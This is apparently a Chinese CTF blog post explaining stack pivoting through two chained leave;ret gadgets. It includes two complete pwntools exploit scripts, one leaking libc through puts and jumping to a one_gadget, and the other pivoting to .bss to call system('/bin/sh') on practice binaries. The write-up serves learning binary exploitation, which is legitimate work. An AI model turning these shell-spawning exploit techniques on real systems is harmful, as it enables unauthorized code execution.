@TOC

最近做了很多栈迁移的题目,做个总结

条件

栈溢出时,返回地址只剩下1字长 无法构造pop链

栈迁移

利用连续的两次 leave_ret 达到控制esp的目的
第一次leave_ret去控制假的ebp
第二次leave_ret去控制esp
迁移的地方需要有写的权限

思路1(两次read情况)

第一次read的时候把我们要迁移的地方覆盖ebp 返回地址填leave_ret
第二次read的时候来构造我们迁移的地方

例题1:gyctf_2020_borrowstack
在这里插入图片描述
可以看到第一次在栈上读,溢出只有8字节
第二次在bss上读,可以用来构造payload

1
2
3
4
5
6
payload='a'*(0x60)+p64(bank_addr+0xd0)+p64(leave_ret)
io.send(payload)
io.recvuntil('Done!You can check and use your borrow stack now!\n')
payload='a'*(8+0xd0)+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr)
io.send(payload)
read_addr=u64(io.recv(6).ljust(8,'\x00'))

这么构造就可以读出read的地址,从而泄露libc基质
bank_addr+0xd0是因为bss段与got表接近,防止迁移时,覆盖got表,让程序报错

泄露出libc后用one_gadget就可以打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
#io=process('./gyc')
io=remote('node4.buuoj.cn',26243)
elf=ELF('./gyc')
libc=ELF('./1.so')
leave_ret=0x400699
bank_addr=0x601080
pop_rdi=0x400703
read_got=elf.got['read']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
#gdb.attach(io)
payload='a'*(0x60)+p64(bank_addr+0xd0)+p64(leave_ret)
io.send(payload)
io.recvuntil('Done!You can check and use your borrow stack now!\n')
payload='a'*(8+0xd0)+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr)
io.send(payload)
read_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_addr))

libcbase=read_addr-libc.symbols['read']
print(hex(libcbase))
io.recvuntil("want\n")
#gdb.attach(io)
onegadget=libcbase+0x45216
payload='c'*(0x60)+'b'*(8)+p64(onegadget)
io.send(payload)
io.recvuntil('now!\n')
io.send('aaa')
io.interactive()

思路2(一次read情况)

这种发现只有一次read,那么在
第一次read时,构造假的ebp 并且再次返回到read函数
第二次read时,构造paylaod 返回leave_ret

例题
在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
6
payload = 'a'*0x18+p32(0x804b500+0x18)+p32(0x804959B)
io.send(payload)
payload = p32(system)+p32(0)+p32(0x804b50c)+'/bin/sh\x00'
payload = payload.ljust(0x18,'\x00')
payload += p32(0x804b500-4)+p32(leave_ret)
io.send(payload)

0x804b500+0x18是为了让read填入的地方在0x804b500
在这里插入图片描述
0x804959B是一个完整的read
后面的payload就是正常的布置system(/bin/sh)
0x804b500-4 : 减4是因为pop的时候加4 刚好执行0x804b500
0x804b50c: 是/bin/sh的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
io = process('./Gpwn2')
elf = ELF('./Gpwn2')
context.log_level = 'debug'
system = elf.plt['system']
leave_ret = 0x80495B1
io.recvuntil('Checkname:\n')
payload = 'admin\x0a'
#gdb.attach(io)
io.send(payload)
io.recvuntil('Pass:\n')
payload = '10000000000000000000000000000266'
io.send(payload)
io.recvuntil('Success\n')




payload = 'a'*0x18+p32(0x804b500+0x18)+p32(0x804959B)
gdb.attach(io)
io.send(payload)

payload = p32(system)+p32(0)+p32(0x804b50c)+'/bin/sh\x00'
payload = payload.ljust(0x18,'\x00')
payload += p32(0x804b500-4)+p32(leave_ret)
io.send(payload)
io.interactive()